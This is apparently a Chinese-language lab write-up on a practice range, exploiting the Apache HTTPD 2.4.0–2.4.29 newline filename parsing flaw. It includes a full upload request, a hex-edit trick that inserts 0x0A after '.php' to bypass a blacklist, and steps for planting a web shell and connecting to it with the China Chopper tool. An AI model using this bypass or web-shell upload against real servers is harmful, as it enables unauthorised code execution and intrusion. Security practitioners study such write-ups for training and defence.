1.漏洞信息
Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略。
漏洞影响版本:Apache HTTPD 2.4.0~2.4.29
2.开启漏洞靶场
3.打开页面为空白,直接抓包看,发现apache的版本存在此漏洞。
4.发送到repeater尝试修改方法为POST直接上传php文件,显示bad file,上传失败。
POST / HTTP/1.1
Host: vulfocus.fofa.so:50892
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"
1.php
-----------------------------9552222486401230933854482358--
5.尝试修改上传文件后缀名为1.php.xxx,上传成功,说明是php黑名单拦截。
6. 尝试利用该版本存在的漏洞点进行漏洞测试。
此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略。
测试思路是修改1.php后的第一个hex值修改为0a,为了方便找到1.php后的第一个值,我们先将文件名1.php后添加多个a变成1.phpaaaaa,a的hex值为61,方便找到。找到后将第一个61改为0a,改完后需删除剩余的a。
将第一个61改为0a
改完后删除剩余的a,a删除完需留下空行。
再次修改上传文件名字
打开浏览器尝试访问该文件,访问路径是 http://IP:port/5.php%0A
在该页面查找flag即可
7.修改上传代码,尝试使用菜刀连接。
上传成功测试写入是否成功,可以正常解析
http://ip:port/5.php%0A?1=phpinfo();
使用菜刀连接,密码为1